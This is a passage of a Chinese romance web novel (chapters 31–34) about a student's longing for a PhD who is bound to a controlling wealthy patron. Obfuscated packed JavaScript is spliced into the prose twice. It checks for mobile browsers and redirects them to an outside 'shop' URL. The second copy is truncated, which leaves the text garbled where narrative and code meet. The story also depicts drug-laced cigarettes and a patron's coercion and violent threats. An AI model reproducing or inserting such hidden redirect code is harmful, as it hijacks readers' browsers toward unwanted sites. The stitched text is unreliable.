傅廷恩指着桥边伸出的铁杆上整齐排列的小鸟,示意曾闰霞看,确实跟排头兵一样的,排列整齐,而且不怕人,对人们的指指点点视而不见,实在站累了才会飞走一两只,然后立马又有新兵补充进来。曾闰霞抓着手机一顿狂拍。 美因河宽阔平坦,波涛缓缓,阳光铺染得水面金光粼粼,三人沿着铁桥漫步赏景,桥底下一所游轮旖旎而过。 游轮估计满载着华国游客,放着一首华国老歌《与你到永久》。 …… …… 一路上有你, 因为有了你, 人生旅程不再冷清。 …… …… 迎着风,迎向远方的天空, 路上也有艰难,也有那解脱, 都走得从容,因为你是我生命中的所有…… 在异国他乡,听到熟悉的曲调,分外让人觉得心神涤荡。傅廷恩忍不住看向曾闰成,曾闰成两手靠在栏杆上,他的侧颜无敌好看,嘴角微微上扬,游轮载着乐曲远去,他终于偏过头看了傅廷恩一眼。 只一眼,傅廷恩便觉得神魂俱醉。他仍和三年前一样,深深的迷恋他。 曾闰霞一直瞅着铁桥两侧挂着的许多同心锁,快下桥了,终于忍不住从随身小包里摸出一把来,递给傅廷恩,羞涩的低下头,“廷恩哥,你愿意跟我一起把这把锁挂在这里吗?” 傅廷恩看一眼曾闰成,“呃……当然,当然可以。” 曾闰成的眼神是一种默许的态度,估计如果拒绝,小姑娘能当场哭出来。 曾闰霞高兴的扬起笑脸,把手机递给她哥,“哥,你帮我们拍一下。” “好。”曾闰成接过手机,帮他俩拍下挂锁的过程,还有两个人凑在一起微笑的眉眼。 曾闰霞就像得到了某种承诺和肯定一样,接下来的行程一直挽着傅廷恩的胳膊,走过充满欧式风情的罗马广场、隐秘于闹市中的法兰克福大教堂,在一个叫Alte Opera的老剧院门口遇到了曾闰霞的同学。 欧洲的这些城市其实都不大,遇到熟人的概率高很多,尤其是周末、节假日在一些地标建筑面前。 几个打扮时尚、潮流的学生妹尖叫着围了上来,叫着曾闰霞的德文名字,又笑又闹的。 曾闰霞向她的同学们介绍了傅廷恩和曾闰成:“这是我男朋友。这是我哥。”少女们用夸张热情的口头及肢体语言,表达了对两个帅哥的赞美和对曾闰霞的羡慕。 傅廷恩和曾闰成只能相视苦笑一下,然后应她们的要求一起合了个影,又请她们在街边喝了一杯咖啡,才算远离了这份喧嚣热闹。 下午两点,他们在老剧院欣赏了一出歌剧。法兰克福是德国大文豪歌德的故乡,剧院演出的歌剧便是改编自他的作品《浮士德》。 曾闰霞在管弦乐队的演奏声中昏昏睡去,她坐在中间的位置,头很自然的倒在了傅廷恩的肩头。 曾闰成想把她移过来,傅廷恩摆手制止了他,“让她睡一会吧,可能是累了。”尽管处于平稳期,但曾闰霞的体质其实比普通人要弱不少,很容易疲累。 曾闰成看着她秀美脸庞乖巧的停驻在傅廷恩的肩头,内心里五味杂陈,不知道从什么时候开始,妹妹最依赖最信任的人已经不再是他了。 他视线上移,和傅廷恩的目光交汇,在剧院昏暗、明灭不定的光线里,两人都愣了一下,才移开眼睛,看向台上。 女中音正在倾情演唱:“……去遍历人世吧,别让血滞而心枯,要脱离孤独……把心爱的人搂在怀里,乃是一种最好的天赐……” 曾闰霞几乎睡到散场才醒。离开歌剧院,顺着街道漫步两三百米,有一个小型的游乐场。 虽然是周末,人也不算特别多,缓缓转动的旋转木马勾起了三个人心底共同的回忆,各自找了一个位置坐下,音乐响起,小木马开始转动。 傅廷恩仍然选择了曾闰成身后的位置,可这一次曾闰成没有回头。因为无需回头,他也能感受到身后胶着的视线。 音乐停下,曾闰霞迫不及待的跳下来,“再也不要坐旋转木马了。” “为什么?” “我同学说,旋转木马代表着爱情不好的结局。隔得那么近,却永远也追不上。大概就是咫尺天涯的意思吧。”她不无惆怅的说道,“我们晚餐吃点什么?” 怔住的两人醒悟过来,“法餐?”“罗马广场东侧有一家川菜馆。” “廷恩哥,你竟然知道那家川菜馆。”曾闰霞小小的惊讶了一番,“不过我跟我哥一起去吃过,味道很一般。” “呃,有听说过,”傅廷恩讪讪的,“这边的中餐馆都没法跟小霞的手艺比,你做的红烧肉是我吃过最好吃的。” “真的嘛?”曾闰霞惊喜的看着她,她很久没有动手下过厨了,“那要不然我们回家去做好不好?冰箱里有很多食材,我可以做给你……” “咳……”曾闰成打断她,“下次吧,今天有点晚了……”六月的德国,从早上四点半一直要到晚上九点才会天黑,太阳虽然西斜却还明晃晃的挂在树梢上。 “哥,你之前不同意我带同学回家,说不是自己的房子,”曾闰霞对她哥拙劣的借口表示出强烈的不满,“现在李叔叔都将这套房子送给你了,为什么还不能带朋友回家?” 曾闰成没有跟她说过这件事情,但显然她看到了文件袋。跟一巴掌拍到脸上似的,曾闰成低下了头。 傅廷恩开口道:“小霞,我还要赶回去的高铁,有机会再品尝你的手艺。” 他看着曾闰成脸上的表情,其实没有什么特殊的表情,但他就是明白这个男人在感到羞愧。 这并不是令他感到骄傲和开心的馈赠,但显然他妹妹并不明白这一点。 回到海德堡,傅廷恩径直回了宿舍,饭也懒得吃,一个人坐在书桌前,一双拳头握紧松开无数次,嫉妒像蚂蚁一样啃噬着他的内心。 可是脑海中不断闪烁着曾闰成凝滞的表情和骤然暗沉的眸光,他拿起手机,一条信息删了写写了删,最终发了一句: “未曾长夜痛哭过的人,不足以语人生。” 这是歌德的名言之一。他还是怕他难过多一点。 ———————————————————————— 过了几天,曾闰成的腿伤完全复原了,就主动发了个信息给傅廷恩,约他打网球,刚好又遇到上次那两个帅哥。 一轮单打练习以后,开始双打,曾闰成和傅廷恩配合始终默契,平局之后率先拿到6分,最终三局两胜赢了这场PK。 运动真的是最好的情绪良药,一场酣畅淋漓的比赛之后,浑身清爽。四个人冲了个澡,相约一起去酒吧街喝一杯。 诺亚和汉斯,双打的另一方,他们都是德国本地人,但是英语很流畅。他们互相交流了一下专业和学术方面的内容,当他们知道曾闰成是博士之后,还小小的惊讶了一把,因为跟外国人比起来,华国人确实比较显嫩显小,完全看不出曾闰成已经27岁。 学校周围的酒吧街都是工业风的装修,播放着电子音乐,灯光明灭变幻,是夜生活的基调。 基本只供应酒,而且以啤酒居多,有少量小食,不禁烟,男男女女的大学生三五成群的凑在一堆,有的随着音乐节拍自嗨跳舞,有的凑在一块吞云吐雾。 几番交流之后,几杯啤酒下肚,诺亚和汉斯跟他们熟稔起来,肢体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422361|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语言放松,能看得出他们是一对,相互搂着肩膀,贴着耳朵说话。 汉斯递过来两只烟,问他们要不要,而且眨了一下右眼,示意这并不是单纯的两只烟。 傅廷恩刚要拒绝,曾闰成从口袋里掏出一盒烟来,往自己嘴里丢了一根,又递给傅廷恩一根,示意汉斯他们自己有。 汉斯笑着说OKOK,将加料的烟收了回去。 傅廷恩被曾闰成叼烟的样子震惊到,他上一次见他抽烟,还是分别的那个晚上。而今他点烟的手法已经很娴熟。 然而还有更令他震惊的在后头,他示意傅廷恩把烟放嘴里,然后伸手,搂着他的脖子跟他对了个火,跟隔着两根烟接了个吻似的,看他呆愣木立的样子,眼里甚至闪过一丝戏谑的笑。 傅廷恩突然想起那天看他和德里亚跳探戈,就是这种感觉,就好像突然释放了天性里不为人知的一面似的,与他平时的温文形成极大的反差。 烟雾萦绕在他的嘴角,桃花眼微眯,带着三分傲慢两分冷漠和五分的漫不经心,让人目醉神迷,移不开眼睛。 周围喧嚣的音乐,诺亚和汉斯的调笑,通通不见了踪影,只有光影里这个嘴角带笑的男人。 他修长的手指夹着烟,跟捏着他心脏似的。他抽一口烟,烟蒂和他盈润的唇之间发出“啵”的一声轻响,似乎都清晰可闻。他举杯喝了一大口啤酒,发出轻柔的喟叹…… 傅廷恩浑然不知自己一直是呆愣的状态,直到那个身影向他靠过来,一只手臂张开,揽住他的脖颈。他才梦中惊醒似的,转目看着他。 “廷恩,”他在他耳边低语,“你是不是很想要我?” 声线华丽,人鱼的歌声也不过如此吧,以至于他根本没有听清楚内容,语句明明清晰,却从他的耳旁划落。 曾闰成吸了一口烟,轻柔的封住了他的嘴。傅廷恩的脑海里“嘭”的一声,惊涛骇浪,喧嚣尘上。 他微微垂下眼,曾闰成秀长的眉,颤抖的睫,近在眼底。他后知后觉的发现唇齿之间有烟香与芬芳交缠缭绕,温热的唇贴上了另一抹柔软,而他灵巧的舌尖已经在他的领地悠游嬉戏。 傅廷恩本能的一把抱住他,闭上了眼,立刻化被动为主动,含住他的舌尖,疯狂的吮吸起来。 这是他渴求了多年的男人,这是专属于他的味道,不是在梦里,也不是在他毫无知觉的状态下。他怎么可能不疯狂。 对方的口腔似乎是空气唯一的来源,他抱紧他,像要把他嵌进自己身体去一般。空气越来越稀薄,却完全舍不得放开,什么技巧什么节奏完全丢到了爪哇国,只凭本能疯狂的索取…… 直到曾闰成将他推开,两个人气喘吁吁的望着对方。诺亚和汉斯早已不知去向,喧嚣的音乐重回耳际、迷醉的场景倒映在彼此眼底。 一根烟已经烧到手指,曾闰成将它按灭在烟灰缸里,“去你那里?”口吻就跟问他吃饭了吗一样随意。 傅廷恩牵着他走出小酒吧,走进大学城,走到他宿舍楼底下,楼上就有他单独的房间,单独的一张床,门一关,谁也不会打扰他们。 可是他却迟疑了,转身拉着他在长椅上坐下。夜色静谧,草丛中不时传来稠鸣,夜风拂过发梢,让发热的头脑逐渐的清醒过来。 “为什么?”傅廷恩问他。 曾闰成叹了口气,“廷恩,你对我的执着或许来自你对我的想象。如果你想要这个身体,我随时都可以给你。它并不是谁的专属,也没有什么特别之处。”他的声音低下去,“等你真正得到了,你会发现,也不过是描金漆玉的表象下,裹着的一堆烂泥。” 一个骨子里清高自傲的人,内心要经受着怎样的折磨,才会说出这样自我厌弃的话来呢? 傅廷恩久久没有说话,原本激荡的情欲却逐渐的平息下来,他伸出手,在曾闰成怔愣的目光里,轻轻的拥抱住了他。没有言语,却无声的传递着安慰。 曾闰成只觉得鼻头发酸,他将头靠在他肩膀上。有一种难以言说的疲累在他的身体里穿行,就让我靠一会吧。请允许这片刻的矫情与软弱。 32. 第 32 章 内卡河边是他们经常散步憩息的基地,傅廷恩向曾闰成汇报着他的暑假计划。“去摩根大通实习两个月,他们3月份发布实习岗位招募的时候,我提交了申请。网申和视频面试都过了。” 欧洲的大学生不管就业还是申硕申博,个人成绩只占一部分,科研和实习经历是公司和导师考量的重要标准。 摩根大通作为八大行之一,是名校学生趋之若鹜的实习基地。要么通过家庭背景花钱花关系解决,要么就靠自己的实力。傅廷恩显然是后者。 “什么类型的岗位?” “量化分析岗,设计实现金融的数学模型这一块。” “跟你专业很对口,offer拿到了吗?” “应该还有一天Superday,但是问题不大,去年在高盛也是差不多流程。”有过高盛的实习经历,入职摩根确实so easy。 曾闰成替他感到高兴,“挺好的,廷恩,你加油!” “可是,要回伦敦待两个月,这么久。”傅廷恩踢着脚下的小石子,没有抬头。 曾闰成已经听得懂他的言外之意,但只能安慰他,“你投身一个新环境,时间是过得很快的。而且你的交换期也结束了吧?” “我想申请海德堡大学的硕士。” 曾闰成不同意,“廷恩,你别拿学业开玩笑。牛津的硕士一年制,德国这边修学分一般都得两年,而且你牛津的本科申本校的硕士更容易。” “时间上我会考虑的。”其实当初没有直接申本硕,就是考虑到时间的问题,毕竟傅家对他的人生规划并不是留英入职高薪岗位,现在在投行的实习,也是先加入卖方市场,了解内幕,回到买方市场才不会被坑。 “今年实习完我会飞一趟澳洲。”傅廷恩斟酌着说出今天交流的重点,“闰成,你还记得我跟你说的我哥吗?” 曾闰成点点头,“是叫傅廷昀吧?记得,你给我看过他冲浪的视频。” “他那边有一个医药分公司,跟皇家墨尔本医院有深度合作,我想……”他偷眼看曾闰成的面色,“要不要让小霞去那边疗养一段时间?那边的天气很适合休养。” 曾闰成愣住,“去澳洲?”他摇头,“给小霞治病是我的事……” “可是我现在是她男朋友了。”傅廷恩抿了一下唇角,“我可以来跟她沟通……” “廷恩,”曾闰成的面色变得严肃起来,“你想过小霞的感受没有?如果她真的把你当成男朋友,真的跟你去澳洲,还跟你的家人接触,她对你的期待……” 傅廷恩愣了一下,“我懂。”现在小霞已经俨然以他的女朋友自居了,早晚安,头像要求情头,ins上明晃晃的发布着和他的合影,配文是my love…… “其实我是真的愿意照顾她一辈子,以哥哥的身份。”傅廷恩不愿意放弃这难得的机会,“闰成,我对小霞的照顾是基于我对她的感情,我只有一个哥哥,隔房的姐妹也不亲近,我把她当妹妹。我愿意照顾她,与你没有关系。” 曾闰成露出一丝苦笑,喃喃低语,“怎么可能跟我没有关系?” 傅廷恩低下头,“我的意思是你是自由的,”他轻声道,“你可以继续在海德堡读博士,也可以一起去澳洲申请学位,或者你想工作、交友,这些都是你的自由。” 曾闰成抬头看着他,“谢谢你,廷恩。”傅廷恩的剖白令他动容,令他愿意抛下难堪跟他说一点掏心窝子的话,“我懂你的意思,但,有些事情并不会因此而改变。” “为什么?”傅廷恩抬起头,一脸急切的不解。 “小霞的病,是急性髓系白血病中最难治的一种,而且是高危型,当初……”他低下头,“确实花了很多钱。即使有钱,如果没有那样的医疗团队,小霞可能也活不到今天。” 他转过身,看向内卡河,“她化疗的效果一直不太好,多次化疗都没有进入稳定期,根本不可能自体移植。万幸的是,我跟她在HLA配型上点位全合,所以抽了我的骨髓给她,度过排异期都是惊险万分……” 他每多说一句,傅廷恩的心就多凉一分。他明白他的意思,即使他接手照顾小霞,曾闰成也摆脱不了李景麟的束缚,欠人家的摆在那里。 “花了多少钱我还给他……”这话傅廷恩自己都说不下去,李景麟怎么会是要这个钱的人。 “所以,廷恩,”曾闰成转头看见傅廷恩骤然变白的面色,心里五味杂陈,他重新看向河面,“去实习,然后回牛津申请硕士学位吧,总有一天你会遇到那个真正合适你的人。不要浪费时间了。” —————————————————————————— 金丝雀码头是伦敦的新金融城。伦敦大多数地方还是比较老旧的英伦风,这里却是高楼林立,充满着现代化风格。 男士西装革履,女士妆容得体踩着高跟鞋,一律步伐匆匆的走进一栋栋外表奢华的大厦。 早上八点半,傅廷恩穿过一条空中隧道,走过一座钢结构的小吊桥,下桥拐弯不远,进入一栋高大方正的大楼。 这个点,电梯里人不多,一个银发美女跟他say hi,递了一杯咖啡给他,他这才想起好像是隔壁工位的。 两人用英语交谈了几句,一同踩着灰色的地毯迈进装修豪华的办公区域。“中午一起吃午饭吗?”分开时,金发美女问他,这在职场算是明晃晃的示好了。 “啊,不了,我约了男朋友。”傅廷恩冲她眨了一下眼睛,又举了举手里的咖啡,“谢谢你的咖啡。” 美女明白了他的意思,失望的摇摇头,“哎,现在但凡是个帅哥都内部消化了。” 傅廷恩第一天来,她就盯上了,外表高大英俊,履历又堪称完美,看穿着打扮也没有半分gay气,所以今天特意带了手磨咖啡,等在电梯那里,没想到……她笑了笑,难掩失望的走开了。 傅廷恩打开电脑,开始跟测试工程师沟通,他修长的手指快速的在电脑上翻飞跳跃,敲了几行代码,然后修bug,直到完成修改,提交Review,在等待自动测试的间隙,他回了一下手机信息,十二点关闭电脑,下了楼。 刚走进新金融城的一家咖啡馆,就听到江永安的嘘声,“这里,这里!”江永安拿到了汇丰银行的暑期实习offer,这对好兄弟又开始凑在一块。 “真的不考虑搬我那里去?走路十五分钟就能到公司。”去年实习,傅太过来看傅廷恩,看租住的房子又贵又不太好,干脆给他在对面买了一个小两居。 “热恋期,不方便。”江永安最近交往了一个意大利帅哥,经常在facebook上秀恩爱。 这家咖啡馆供应的午餐类似于健身餐,各种颜色很丰富,算是小有特色。傅廷恩研究着角度,拍了张照片,发送了,才开吃。 “还汇报上了是吧?人家也不回你,不知道你发个什么劲!”江永安虽然能理解傅廷恩对曾闰成的感情,但经常不齿于他的舔狗行径。 “偶尔回。”正好手机响,打开,也是一张午餐图片。“多吃点。”傅廷恩叮嘱了一声,才满意的放下手机。 江永安看着他一脸满足的笑容,有些恨铁不成钢,“我觉得曾老师真的太会了,三不五时回你一下,就能把你钓得死死的。” “你要这么说他,咱俩可就聊不下去了。”傅廷恩也能理解好兄弟不愿意他陷在一段无望感情里的心情,但他不能接受他对曾闰成暗含指责的评价。 “别别别,我错了,我道歉。”好在江永安惯会见风使舵,“明天周末,晚上我们去U Club放松一下,介绍我男朋友给你认识。” 英国的酒吧分Pub和Club,前者类似茶馆或者说清吧,是朋友相聚喝酒聊天的好地方,英国人是出了名的爱喝酒爱八卦。后者则是嗨吧或者说迪厅,找乐子的好去处。 看傅廷恩这么泥足深陷,江永安想到了一招曲线救国,曾老师确实是长得帅,气质也好,但也不是说无人能比。 他男朋友的朋友就是一个类似风格且不遑多让的大帅哥,刚从日本来伦敦读硕士,谈吐温文,眉目俊雅,带着日式的精致和贵公子的范。他特意凑了这个局,且提前没跟傅廷恩说,给这小子来个惊喜。 伦敦的Club一到周末就热火朝天,很多出名的场所都大排长队,衣着装 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傅廷恩一见洋介就明白了江永安的意思,不由得失笑,“永安,你真是没有一点家国情怀。” “这不是给你为国争光的机会嘛,”江永安不要脸的凑在他耳朵边上低语,“狠狠干|他!” 傅廷恩不置可否,从他与曾闰成重逢,半年过去了,他一直没约会,有想法自己解决。 其实没有人承诺他,也没有人约束他,可他就是有点兴致缺缺。 他看着桌上摆着的鸡尾酒杯、果盘、骰子盒,掏出手机拍了一张照片,发送了过去。然后安静的等待,可直到三杯酒喝完,也没有任何回音。 洋介虽然看着有些害羞,性格倒是大方,大概对傅廷恩的皮相比较满意,很主动的跟江永安换了位置,坐到他旁边来,用英语在他耳朵边跟他聊天。 Club喜欢放电子音乐,且随着夜深,各种重音混合,更加的激情澎湃。空气里不止烟雾缭绕,还混杂着一股甜香,加了料的烟酒是欧洲酒吧比较常见的物什。 江永安撒了一圈烟,他手里有好货,能适当的助兴但也不会很上头伤身。傅廷恩犹豫了一下,在洋介帮他点火的时候也没有拒绝。脑海里却不由自主闪过曾闰成叼着烟帮他点火的场景,内心升起一股燥热。 江永安却是松了口气,他算是看着傅廷恩从纯情少年变成牛津浪子。他是天性爱玩的,当然是跟牛津浪子更合得来。这半年眼瞅着兄弟为了个男人,清心寡欲,实在替他不值,爱就爱吧,也没必要自苦不是?! 午夜过后,酒吧嗨闹的氛围被重金属音乐和迷离的烟雾烘托到极致,人潮开始拥挤,专供跳舞的几个圆台上开始出现半裸的男男女女,抱在一起接吻互啃的比比皆是,那些隐秘的角落、厕所的格子间正上演着更为激情的戏码。 洋介搂着傅廷恩的肩膀喁喁私语,柔软的唇不时擦过他的耳畔,淡雅的香水气息也钻入鼻腔。 搁在圆桌上的手机屏幕突然亮了一下,傅廷恩反应过来,打开是五个字:“你开心就好。” 江永安凑过来看了一下,扯着喉咙喊:“就是嘛,人生苦短,开心就好……” 傅廷恩原本昏沉的意识却一下子清晰起来,他推开洋介,站起身:“不好意思,你们玩,我有事先走了。” 江永安在他身后愤怒的吼叫:“妈蛋!这半夜十二点你有屁的个事啊!傅廷恩,你信不信老子跟你绝交!傅廷恩……” 傅廷恩快步走出酒吧,走到安静的大马路上,凌晨的伦敦街道只有零星几个流浪汉的身影。 他掏出手机,拨了过去,那边很快接起,“廷恩?”是曾闰成一贯温润的声音,带着点惊讶。 傅廷恩叹了口气,只觉得原本空虚的胸腔顷刻间就被填满,“闰成,我离开酒吧了。”他叹息着,“没有你,我不会开心的。” 话筒里静默下来,只有清浅的呼吸声清晰的传来,许久之后,曾闰成低声道:“回家吧,廷恩,这个点还在外面太危险。到家给我发个信息好吗?” “好!”傅廷恩在他的曾老师面前永远都是乖宝宝。 33.第 33 章 实习期的时间是比较紧张的,毕竟除了个别的关系户以外,大部分都是名校实习生,都奔着八大行的offer来的,自然要卷起来。国外很讲究团队合作,作为team的一员,不想卷也会跟着卷。 傅廷恩一直到八月份才抽出时间,原本想去探望曾闰成和小霞,结果先接到小霞的电话。 “什么?你们过来看我?”办公区域的安静,被他突如其来提高的声音和突然站起的身影打破。 “我跟李叔叔说了好久他才肯,6号是你的生日嘛,女朋友怎么能够不过来陪你过生日呢?”她每次遇到曾闰成不答应的事情就会直接请示李景麟,而她的李叔叔也确实次次都如她所愿。 “那,你一个人吗?” “哥哥会陪我。” 傅廷恩兴奋的握了一下拳头,“航班号发我,到时候去机场接你们。” 挂了电话傅廷恩立马开始提交休假申请,又一个电话打给江永安,“换你车给我开两天。”江永安新换的大G。 “你谁啊?”江永安拖着懒洋洋的腔调,“咱俩好像绝交了吧?” Club逃跑事件之后,江永安着实气了几天,傅廷恩两次约他have lunch都被拒了。 “绝交了是吧?6号我生日,曾老师和小霞要过来,就不请你了啊。”傅廷恩算是很清楚江永安的命门,用生命燃烧的八卦之魂。 果然,一顿噼噼啪啪,估计也是东西掉一地,“他会过来看你?真的假的?明修栈道暗度陈仓了兄弟?你牛啊……” 傅廷恩当然不会抹黑曾老师名声,“没有,我现在不是有女朋友的人么?”他摸了一下鼻子,“名义上的。所以你得来帮帮我,这小姑娘较起真来,真怕挡不住。” “哈哈哈,你等着,下班过来跟你换车,请我吃饭!” 晚餐的牛排也塞不住江永安的嘴,他贱兮兮的低声道:“兄弟,据我所知,你那房子里只有两张床吧?” 傅廷恩点头,基本就实习期住两个月,傅太买的80多平的两房。 “你怎么一点也不兴奋?”江永安狐疑的拿叉子指着他,“是不是早就上手了?” “你瞎说什么?!”傅廷恩摸不着头脑。 “哎你怎么一遇到曾老师智商就直线下降?你想啊,当天是肯定不能往返的,既然生日,能没有喝酒这个环节?回头我带上莱昂,再把我的聚宝盆拎上,玩到半夜,喝得醉醺醺,还上酒店不成?肯定得在你家凑合一晚上。” 江永安看傅廷恩一副还没转过弯来的表情,恨恨的拿叉子柄戳了他两下,“两张床,你难道跟人小姑娘睡一块?” “我可以睡沙发!”傅廷恩愣了一下。 “操!你搁这玩纯爱战士呢?!”江永安牛排都吃不下了,“你那客厅才多大?而且我们要玩牌啊,摆桌子不占地方?肯定是不好睡的嘛,明天我就帮你把那沙发螺丝拆了,”原本的沙发确实是可以打开变沙发床的,“哥们只能帮你到这里了,能不能吃到肉就看你自己了。” 江永安一顿劈里啪啦成功将傅廷恩的脑回路拉入了想象的空间,如果真的,跟他睡在一张床上…… 他脑海里闪现着那晚曾闰成勾住他的脖子,在他耳边低语,“你是不是很想要我?”“如果你想要这个身体,我随时都可以给你。” “不行,”傅廷恩放下刀叉,叹了口气,“在得到他的人和得到他的心之间,我永远选后者。” “冲突吗?这事冲突吗?”江永安觉得傅廷恩牛津浪子的称号确实是不能要了,他配不上了。 “先得到人,慢慢就会得到心的。你要明着跟李叔叔抢是抢不了的,但谁让人家忙呢,小情儿又多,挖墙脚这事……” “你要再这么说下去,咱俩还是绝交吧,生日不能请你了。”傅廷恩直觉换个车,惹来这个八卦之神是个错误的选择。 “行行行,我闭嘴,你就玩纯情吧,一辈子就这么守着看着吧啊,”江永安叹口气,“你还记不记得你是怎么把比安卡,就神学院那个院草拿下的,要不要哥帮你回忆一下?拉扯博弈玩得多溜啊,你拍屁股交换去了,人家还忘不了你,时不时搁我这打听……” “江永安!”傅廷恩叉一颗西兰花塞他嘴里,“后天饭桌上你要说这些屁话老子真不能请你了!” ———————————————————————— 曾闰成和小霞走出机场,一眼看到路边停靠的拉风大G,以及车旁边靠着的人。 傅廷恩特意打扮了一下,英伦风的西裤皮鞋,有点花哨但不夸张的衬衫,脖子上挂着的项链造型独特,巧妙的将那块平安扣挡住,只露出一点黑色的挂绳。 他其实很适合这种比较潮的打扮,特别凸显他五官的优势。衬衫一半扎裤腰里,露出大长腿,看上去比欧洲王室子弟还更有矜贵范。 看见曾闰成手里拎着两个大袋子,赶忙迎上去,接手里,“这提的啥?这么重。” “小霞跑了两个大超市,才采购齐全的食材和配料。” 曾闰霞在一边接话,“今天我要做纯正的中餐给廷恩哥吃,你们都不许插手。”她心心念念要重展厨艺。 已近中午,先在外面吃了一顿米其林,东西提回傅廷恩的房子,上到顶层的露天酒吧小酌了一杯。 然后曾闰霞就一头扎进了厨房,傅廷恩领着曾闰成参观了一下,这套房子位于52层,是CBD难得一见的高层豪宅,阳台可以半开,对面就是摩根的大楼,隔着云层,视野开阔无敌。 “廷恩,你就在那里上班吗?”曾闰成指着摩根的大楼。 “嗯,走过去只要十多分钟,很方便。”傅廷恩从冰箱里拿芒果汁递给他,又给在厨房忙碌的小霞开了一瓶。 “跟你去年实习的地方相比,感觉怎么样?” “摩根提倡高效主动的沟通,有问题随时Reach Out到相关部门,反应机制比高盛更快。但高盛在One GS战略这块确实走在前面,客户反馈更好,在买方市场更受欢迎。” 两人的聊天从原来的专业讨论,开始慢慢转向公司管理、团队建设。 门锁响,江永安知道密码,自己开门进来,刚好听到几句他们的聊天内容,一脸的不可思议,在傅廷恩走过来迎接客人的时候,附在他耳朵边,“难怪你进展这么慢,你这都聊些啥呀你!” 傅廷恩没想到江永安身后不止一个莱昂,还多了一个洋介。 他用目光询问江永安,“你怎么把他也带来了?” “人听说你生日,非得来,”江永安一边把客人让进门,一边用普通话小声解释,“给人制造一点危机感也好,不然吃定你了。”他嘴唇不动的嗡嗡嗡,亏傅廷恩也听清了。拿这多事精是真的没办法。 洋介保持着日式的礼貌和仪态,不住的为自己的唐突到来道歉,又奉上精心准备的礼物,跟曾闰成和从厨房走出来的曾闰霞打招呼。 曾闰成用日语跟他问了个好,把他惊讶得眼睛睁得圆圆的,“您会说日语?” “一点点。”他大学选修了日语专业,但是确实不精通,只会简单的日常交流。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅廷恩一方,小霞发完照片,也坐到他身后来看他打。江永安和莱昂一方,意大利帅哥是完全不会,但也看得兴致勃勃。曾闰成和洋介各自一方,开始一圈,曾闰成一直在放冲,慢慢熟悉了规则,才降低了放冲的几率。 “咱们来点赌注吧,”江永安适时的提出,冲傅廷恩打个眼色,“你那套量杯呢?还有我带的皇家礼炮,不会舍不得拿出来喝掉吧?” 曾闰霞在傅廷恩的指点下,把一套小酒杯清洗了拿过来,白酒盅大小,“就赌喝这个,小冲喝一小杯,大冲喝双倍。”江永安特意挑了瓶比较烈的酒,自觉兄弟做到他这份上,真是没话说! 哪晓得一说赌喝酒,曾闰成放冲的几率进一步降低了,最后八圈打完,一瓶皇家礼炮一半多进了江永安的肚子,莱昂还帮着喝了不少,气得他口齿不清的嚷嚷:“最不喜欢跟你们学数学的玩牌了!” 不过曾闰成也喝了四五杯,他酒量浅,这酒度数又高,他也托着肘闭着眼,摇手说不打了,“再喝得醉了。”灯光下,他白皙的皮肤透着淡淡的粉色,确实是微醺的状态。 “醉了怕什么……”江永安显然觉得火候还不够,瞄一眼时针刚好十二点,“再打一圈。”他虽然喝得多,但是酒量好,为了兄弟的性|福,拼着再喝八杯也不在话下。 傅廷恩眼睛无法克制的在曾闰成身上流连,薄醉的他真的想让人藏起来,但他还是拉住起哄的江永安,“永安,散了吧……” 门铃突兀的响起来,大家都安静了一瞬,这个点?傅廷恩起身开门,一个熟悉的身影出现在门口,竟然是法兰克福的司机,他冲众人礼貌的脱帽行了个礼,然后向曾闰成道,“先生,酒店给您订好了。您该走了。” 34.第 34 章 曾闰成刚回到酒店房间,李景麟的视频电话就打了过来,“才到?” “嗯。” “小霞睡了吗?” “回房间了,应该睡了。” “下次不要让她玩到这么晚。”李景麟对曾闰霞的身体一直是比较关心的,虽然也是间接在指责他。 “好,我知道了。”曾闰成没法生气,其实如果事先沟通,让他几点回酒店,只要说出于对小霞健康的考虑,他也只能照办。但这不是李景麟的风格。 李景麟不肯轻巧放过这事,“如果我没让司机订酒店去接你们,你和小霞今晚打算住哪?” 曾闰成哑口无言。 李景麟恼怒更深,“我让秘书订机票,你们明天一早回法兰克福。” 曾闰霞心心念念要来陪男友,要去参观牛津大学,这下泡了汤,曾闰成叹口气,“景麟,我以为我至少有交友的自由。” “当然有,”李景麟的语气有着不容辩驳的强势,“但不包括在外留宿,更不包括跟别的男人共处一室。” 他没有让司机提前打招呼,就是要让曾闰成知道,即使隔着几千公里,他对他的行踪也是了如指掌。 “闰成,你应该清楚,”李景麟看着窗外无边的夜色,低声道,“我喜欢你的干净,不要弄脏它。”他的声线颇有磁性,刻意压低的时候恍若靡靡之音。 曾闰成愣住,他其实没有想过这点,他是得给他睡,但没有想过只能给他睡。但他是他的金主,的确有资格提出这个要求。 曾闰成对着镜头点点头,“好,我知道了。”之前不知道,现在知道了。他以为他对自己的身体还保有掌控权,原来没有。 皇家礼炮的后劲很足,酒意上头,他神思有些迷乱,用肘撑着头,闭上眼,自嘲的低笑,“弄脏了,你会退货吗?” “退货?”曾闰成隐秘的试探,在李景麟听来是暗藏的担心,“不会,博士肯定知道什么叫梳洗之刑。我的东西如果弄脏了,我会把他刷洗干净,再风干挂墙上晾起来。” 李景麟扯了扯嘴角,“所以,你给我听清楚了,如果……那你就死定了!”他要他安分的呆在手掌心里,又绝不允许他过分放肆。 “嗯,”曾闰成在心底叹了口气,他其实早知道这段关系的中止或结束,不由他说了算。 他低垂着眼,纤长浓密的眼睫在镜头里清晰可见,他轻轻的哼笑了一声,“听到了,知道了,您放心,我一定照办。” 